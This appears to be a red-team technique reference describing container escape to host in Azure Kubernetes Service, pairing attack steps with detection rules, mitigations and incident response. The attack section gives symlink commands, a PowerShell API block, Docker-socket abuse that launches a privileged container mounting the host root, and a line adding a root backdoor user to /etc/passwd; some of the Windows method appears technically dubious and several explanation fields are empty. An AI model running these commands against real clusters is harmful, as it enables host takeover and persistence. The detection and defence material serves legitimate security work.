MCADDF

[PE-EXPLOIT-004]: Container Escape to Host

Metadata

Attribute Details
Technique ID PE-EXPLOIT-004
MITRE ATT&CK v18.1 T1611 - Escape to Host
Tactic Privilege Escalation
Platforms Azure Kubernetes Service (AKS), Azure Container Instances (ACI), Entra ID
Severity Critical
CVE CVE-2025-21196
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions AKS 1.0+, Windows Server 2016-2025 (Windows nodes in AKS)
Patched In Microsoft patches available as of January 2025
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: CVE-2025-21196 represents a critical container escape vulnerability in Microsoft Azure’s AKS and ACI services, enabling attackers to break out of container isolation boundaries and gain unauthorized access to the host operating system. The vulnerability stems from ineffective access controls within the container orchestration layer, specifically in how container namespaces and mount points are enforced. An attacker with container access can exploit symbolic link manipulation and mount point misconfigurations to create a global symlink to the host’s root filesystem (particularly the C: drive on Windows), effectively bypassing the entire container isolation model that relies on namespace separation.

Attack Surface: Azure Kubernetes Service (AKS) clusters with Windows nodes, Azure Container Instances, Kubernetes runtime layers (containerd, Docker), Windows Server Container isolation boundaries.

Business Impact: Complete Infrastructure Compromise. A successful exploit enables an attacker to gain full host-level access, allowing them to compromise all co-located containers, access sensitive data across the cluster, establish persistent backdoors, and disrupt critical services. For multi-tenant AKS environments, this means potential compromise of all workloads sharing the same node.

Technical Context: Exploitation typically takes 5-15 minutes once container access is established. Detection difficulty is high because the attack exploits legitimate kernel features (symbolic link creation, mount operations). The vulnerability requires direct container access but does not require elevated privileges within the container—standard user context is sufficient.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.3.1 (Kubernetes) Ensure that default service accounts are not actively used
DISA STIG SV-242378r879587_rule Kubernetes must enforce Pod Security Standards
CISA SCuBA K8S.03 Pod Security Standards must be enforced
NIST 800-53 AC-6 (Least Privilege) Restrict container capabilities to minimum required
GDPR Art. 32 Security of Processing - Insufficient isolation controls
DORA Art. 15 ICT Risk Management - Inadequate workload isolation
NIS2 Art. 21 Cyber Risk Management Measures - Container escape impacts critical infrastructure
ISO 27001 A.5.1.1 Information Security Policies - Access control enforcement failure
ISO 27005 Risk Scenario Unauthorized Host Access via Container Escape - High Impact

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / Kubernetes API Reconnaissance

Check Pod Security Context Configuration

Objective: Identify if pods are running with excessive capabilities or privilege escalation enabled.

Command (Kubernetes General):

kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.securityContext.allowPrivilegeEscalation}{"\n"}{end}'

What to Look For:

Command (AKS Specific - Check Node Pool Configuration):

az aks nodepool show --resource-group <RG> --cluster-name <CLUSTER> --name <NODEPOOL> --query "osType"

What to Look For:

Verify Container Runtime Version

Command:

kubectl get nodes -o wide | grep -i windows

Version Note: Windows Server 2016-2019 on AKS are at highest risk due to older container isolation mechanisms.

Command (Azure Portal Alternative):

# Retrieve AKS node pool details
$cluster = "myAKSCluster"
$rg = "myResourceGroup"
$nodePools = az aks nodepool list --resource-group $rg --cluster-name $cluster | ConvertFrom-Json
$nodePools | Where-Object { $_.osType -eq "Windows" } | Select-Object name, osType, vmSize

Container Runtime Socket Discovery

Objective: Identify if container runtime sockets are mounted inside containers.

Command (Inside Container):

find / -name "docker.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "cri-dockerd.sock" 2>/dev/null

What to Look For:

Command (Kubernetes Pod Definition Check):

kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath.path | contains("docker.sock")) | {namespace: .metadata.namespace, name: .metadata.name, volumes: .spec.volumes}'

5. DETAILED EXECUTION METHODS AND THEIR STEPS

Supported Versions: Windows Server 2016-2025 (vulnerable to CVE-2025-21196)

Step 1: Gain Initial Container Access

Objective: Establish a shell inside a Kubernetes pod or container running on vulnerable AKS node.

Command (Via Kubernetes):

kubectl exec -it <pod-name> -n <namespace> -- powershell

Expected Output:

PS C:\app>

What This Means:

OpSec & Evasion:

Troubleshooting:

Objective: Create a symbolic link that, when made global, grants access to host’s C: drive.

Command (PowerShell - Windows Container):

# Create symlink to host C: drive
cmd /c mklink /d C:\escape_host C:\

Expected Output:

symbolic link created for C:\escape_host <<===>> C:\

What This Means:

Version Note: Windows Server 2016-2019 use different symlink handling than Server 2022+.

Command (Windows Server 2022+):

# More reliable method using junction points
cmd /c mklink /j "C:\host_mount" "C:\"

OpSec & Evasion:

Troubleshooting:

Step 3: Escalate to Global Scope Using Tcb Privileges

Objective: Promote symlink to global scope to make it accessible to host processes.

Command (PowerShell - Windows Container):

# Use Windows API to enable global symlink access
# This requires Tcb privilege escalation
$code = @"
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, 
    IntPtr lpInBuffer, uint nInBufferSize, IntPtr lpOutBuffer, uint nOutBufferSize, 
    out uint lpBytesReturned, IntPtr lpOverlapped);

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, 
    uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, 
    uint dwFlagsAndAttributes, IntPtr hTemplateFile);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hHandle);
"@

Add-Type -MemberDefinition $code -Name Kernel32 -Namespace Win32 -PassThru | Out-Null

# Set global symlink flag on C:\escape_host
$handle = [Win32.Kernel32]::CreateFile("C:\escape_host", 0x40000000, 3, [IntPtr]::Zero, 3, 0x80, [IntPtr]::Zero)
if ($handle -ne [IntPtr]::Zero) {
    [uint32]$bytesReturned = 0
    [Win32.Kernel32]::DeviceIoControl($handle, 0x900A4, [IntPtr]::Zero, 0, [IntPtr]::Zero, 0, [ref]$bytesReturned, [IntPtr]::Zero)
    [Win32.Kernel32]::CloseHandle($handle)
}

Expected Output:

(No output on success)

What This Means:

OpSec & Evasion:

Troubleshooting:

Objective: Navigate to host filesystem and execute code with host privileges.

Command (PowerShell - Windows Container):

# Now access the global symlink from host perspective
# This requires running command from host context
cd C:\escape_host
dir

Expected Output:

Directory: C:\escape_host

Mode                 LastWriteTime         Length Name
----                 -----------         ------ ----
d-----        1/1/2025   12:00 AM                Windows
d-----        1/1/2025   12:00 AM                Program Files
d-----        1/1/2025   12:00 AM                Users
...

What This Means:

OpSec & Evasion:


METHOD 2: Container Runtime Socket Abuse (Linux Containers / Kubernetes)

Supported Versions: Kubernetes 1.0+, containerd, Docker, CRI-O all versions

Step 1: Discover Container Runtime Socket Mount

Objective: Locate the container runtime socket mounted inside the pod.

Command (Inside Container):

find / -type s -name "docker.sock" -o -name "containerd.sock" -o -name "crio.sock" 2>/dev/null | head -5

Expected Output:

/var/run/docker.sock

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Query Container Runtime API via Socket

Objective: Use curl or Docker CLI to interact with container runtime API.

Command (Using Curl - Universal Method):

# List all containers on the host
curl --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.'

Expected Output:

[
  {
    "Id": "abc123def456...",
    "Names": ["/pod-name"],
    "Image": "image:tag",
    "State": "running",
    ...
  }
]

What This Means:

Alternative Command (Using Docker CLI):

docker ps -a

Version Note: Docker CLI may not be present in all container images. Curl is more reliable.

OpSec & Evasion:

Troubleshooting:

Step 3: Create Privileged Container with Host Mount

Objective: Launch a new container with root filesystem mounted, enabling host escape.

Command (Using Curl to Create Container):

# Create privileged container with host root filesystem mounted
curl -X POST \
  --unix-socket /var/run/docker.sock \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/host"]
    }
  }' \
  http://localhost/containers/create

Expected Output:

{
  "Id": "container_id_1234567890abcdef",
  "Warnings": []
}

What This Means:

Alternative Command (Using Docker CLI if available):

docker run -it --privileged -v /:/host alpine:latest /bin/sh

OpSec & Evasion:

Troubleshooting:

Step 4: Execute Commands with Host Access

Objective: Execute shell inside new container to access host filesystem.

Command (Using Curl to Start Container):

# Start the container
curl -X POST \
  --unix-socket /var/run/docker.sock \
  http://localhost/containers/container_id_1234567890abcdef/start

Expected Output:

(No output on success)

Command (Attach to Container for Interactive Shell):

# Attach to container stdin/stdout
docker attach container_id_1234567890abcdef
# Or use container CLI directly if available
docker exec -it container_id_1234567890abcdef /bin/sh

Inside Container - Access Host Filesystem:

# Navigate to host filesystem
cd /host
ls -la /
whoami
id

# Example: Write to host's /etc/passwd for persistence
cat /etc/passwd >> /host/etc/passwd.bak
echo "backdoor:x:0:0::/root:/bin/bash" >> /host/etc/passwd

Expected Output:

root
uid=0(root) gid=0(root) groups=0(root)

What This Means:

OpSec & Evasion:


6. SPLUNK DETECTION RULES

Rule 1: Container Runtime Socket Mount Detection

Rule Configuration:

SPL Query:

index=kubernetes_audit verb="create" objectRef.kind="Pod" 
    [| rest /services/configs/transforms uri=default_fields 
    | fields hostPath] 
| search requestObject.spec.volumes{}.hostPath.path="*/docker.sock" 
    OR requestObject.spec.volumes{}.hostPath.path="*/containerd.sock" 
    OR requestObject.spec.volumes{}.hostPath.path="*/crio.sock"
| stats count by user, objectRef.namespace, objectRef.name
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to: Number of events > 0
  6. Configure Action → Send email to SOC with pod details

Source: Kubernetes Security Best Practices - Splunk

Rule Configuration:

SPL Query:

index=windows_containers (CommandLine="*mklink*" OR CommandLine="*fsutil*hardlink*") 
    Container.ID=* ParentImage="*powershell*"
| stats count by host, User, CommandLine, Container.ID
| search count > 0

What This Detects:

Manual Configuration Steps:

  1. Navigate to Windows Event Log Monitoring on Windows nodes
  2. Enable “Sysmon” or “Process Creation” events
  3. Configure forwarding to Splunk
  4. Create alert for patterns matching SPL above

7. MICROSOFT SENTINEL DETECTION

Query 1: Pod Creation with Dangerous Security Context

Rule Configuration:

KQL Query:

KuberneteAudit
| where OperationName == "create" and ObjectRef_kind == "Pod"
| extend SecurityContext = todynamic(RequestObject)
| where SecurityContext.spec.securityContext.allowPrivilegeEscalation == true 
    or SecurityContext.spec.containers[0].securityContext.allowPrivilegeEscalation == true
| extend HasSocketMount = (SecurityContext.spec.volumes has "docker.sock" 
    or SecurityContext.spec.volumes has "containerd.sock")
| project TimeGenerated, User, ObjectRef_namespace, ObjectRef_name, HasSocketMount, SecurityContext

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Container Escape Risk - Pod Security Context
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents
    • Set grouping to: ObjectRef_namespace, ObjectRef_name
  7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "myResourceGroup"
$WorkspaceName = "mySentinelWorkspace"

# Create the analytics rule
$rule = @{
    DisplayName = "Container Escape Risk - Pod Security Context"
    Query = "KuberneteAudit | where OperationName == 'create' and ObjectRef_kind == 'Pod' | extend SecurityContext = todynamic(RequestObject) | where SecurityContext.spec.securityContext.allowPrivilegeEscalation == true or SecurityContext.spec.containers[0].securityContext.allowPrivilegeEscalation == true | project TimeGenerated, User, ObjectRef_namespace, ObjectRef_name"
    Severity = "High"
    Enabled = $true
}

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName @rule

Source: Microsoft Sentinel Kubernetes Security Monitoring


8. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationSystem Audit PoliciesDetailed Tracking
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines
  6. Verify: auditpol /get /category:* | findstr /I "detailed tracking"

Manual Configuration Steps (Server 2022+):

  1. Open auditpol.exe as Administrator
  2. Run: auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
  3. Verify: auditpol /get /subcategory:"Process Creation"

Manual Configuration Steps (Local Policy - PowerShell):

# Enable Audit Process Creation via PowerShell
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

# View event log
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4688)]]" -MaxEvents 10 | 
    Where-Object { $_.Message -match "mklink|symlink" }

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025

<Sysmon schemaversion="4.22">
  <EventFiltering>
    <!-- Detect symlink creation attempts -->
    <RuleGroup name="SymlinkCreation" groupRelation="or">
      <ProcessCreate onmatch="include">
        <CommandLine condition="contains any">mklink;fsutil;junction</CommandLine>
        <ParentImage condition="contains any">powershell;cmd;pwsh</ParentImage>
      </ProcessCreate>
    </RuleGroup>
    
    <!-- Detect container runtime socket access -->
    <RuleGroup name="SocketAccess" groupRelation="or">
      <FileCreate onmatch="include">
        <TargetFilename condition="contains any">docker.sock;containerd.sock;crio.sock</TargetFilename>
      </FileCreate>
    </RuleGroup>
    
    <!-- Detect Win32 API calls for symlink manipulation -->
    <RuleGroup name="SymlinkAPICall" groupRelation="or">
      <CreateRemoteThread onmatch="include">
        <TargetImage condition="contains">powershell;pwsh</TargetImage>
        <SourceImage condition="contains any">kernel32;ntdll</SourceImage>
      </CreateRemoteThread>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Where-Object { $_.Message -match "mklink|socket" }
    

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: Suspicious symbolic link creation in container detected

Alert Name: Container runtime socket mounted inside pod

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Kubernetes: ON
    • Defender for Containers: ON
  5. Click Save
  6. Go to Security alerts to view triggered alerts
  7. Configure Alert suppression rules to reduce false positives if needed

Reference: Microsoft Defender Alert Reference - Container Escape


11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if pod security standards are enforced
kubectl get ns -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.labels.pod-security\.kubernetes\.io/enforce}{"\n"}{end}'

# Verify no pods have privileged context
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.securityContext.privileged}{"\n"}{end}' | grep -v "false"

# Check for socket mounts
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath.path | contains("docker.sock")) | {namespace: .metadata.namespace, name: .metadata.name}'

Expected Output (If Secure):

# No output for socket mount check (good)
# For PSS check, should show "restricted" or "baseline" labels
# For privilege check, should show only "false" values

What to Look For:


12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Kubernetes):
    # Immediately delete compromised pod
    kubectl delete pod <pod-name> -n <namespace> --grace-period=0 --force
        
    # Cordon node to prevent new pod scheduling
    kubectl cordon <node-name>
    

    Manual (Azure/GUI):

    • Go to Azure PortalKubernetes services → Select cluster
    • Go to Node pools → Right-click node → Drain (graceful)
    • Or Cordon to prevent new workloads
  2. Collect Evidence: Command (Kubernetes Logs):
    # Capture pod logs before deletion
    kubectl logs <pod-name> -n <namespace> > /tmp/pod-logs.txt
        
    # Get pod events
    kubectl describe pod <pod-name> -n <namespace> > /tmp/pod-events.txt
        
    # Export audit logs
    kubectl logs -n kube-system -l component=kube-apiserver > /tmp/kube-apiserver-logs.txt
    

    Command (Node Forensics - Windows):

    # Collect Event Logs
    wevtutil epl Security C:\Evidence\Security.evtx
    wevtutil epl System C:\Evidence\System.evtx
        
    # Collect Sysmon logs
    wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
        
    # Collect MFT for filesystem analysis
    fsutil usn readjournal C: > C:\Evidence\USN_Journal.txt
        
    # Memory dump (requires ProcDump)
    procdump64.exe -accepteula -ma docker.exe C:\Evidence\docker.dmp
    procdump64.exe -accepteula -ma powershell.exe C:\Evidence\powershell.dmp
    

    Manual (Azure Portal):

    • Go to Microsoft SentinelLogs → Query AuditLogs table
    • Export results: ExportDownload as CSV
  3. Remediate: Command (Remove Persisted Backdoors):
    # Remove backdoor users from compromised host
    kubectl exec -it <replacement-pod> -n <namespace> -- /bin/sh
        
    # Inside replacement container with host mount
    cat /host/etc/passwd | grep -v backdoor > /host/etc/passwd.tmp
    mv /host/etc/passwd.tmp /host/etc/passwd
        
    # Remove malicious files
    rm /host/tmp/malicious-binary
    rm /host/opt/persistence-agent
    

    Manual (Complete Node Replacement - Recommended):

    # Delete compromised node from cluster
    kubectl delete node <node-name>
        
    # In AKS, node will be automatically replaced by nodepool
    # Verify new node joins cluster
    kubectl get nodes -w
    

    Command (Revoke Compromised Credentials):

    # Rotate service account tokens
    kubectl delete secret $(kubectl get secret -n <namespace> -o name | grep <service-account>) -n <namespace>
        
    # Force token regeneration
    kubectl patch serviceaccount <service-account> -n <namespace> -p '{"secrets": []}'
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-005] AKS Control Plane Exploitation Attacker gains initial container access via vulnerable AKS control plane
2 Privilege Escalation (In-Container) [PE-EXPLOIT-005] Pod Security Context Escalation Attacker escalates privileges within container namespace
3 Current Step [PE-EXPLOIT-004] Container Escape to Host Attacker breaks out of container, gains host-level access
4 Lateral Movement [PE-VALID-015] AKS Node Identity Compromise Attacker uses host access to compromise node identity/managed identity
5 Persistence Backdoor in host filesystem, service startup modification Attacker establishes persistence beyond pod lifecycle
6 Impact [IMPACT-RANSOM-001] Ransomware Deployment on Azure VMs Attacker deploys malware across all cluster nodes and connected resources

14. REAL-WORLD EXAMPLES

Example 1: AKS Cluster Compromise via Windows Container Escape (Hypothetical based on CVE-2025-21196)

Example 2: Kubernetes Cluster Compromise via Container Runtime Socket Mount

Example 3: IoT Edge Device Compromise via Runtime Escalation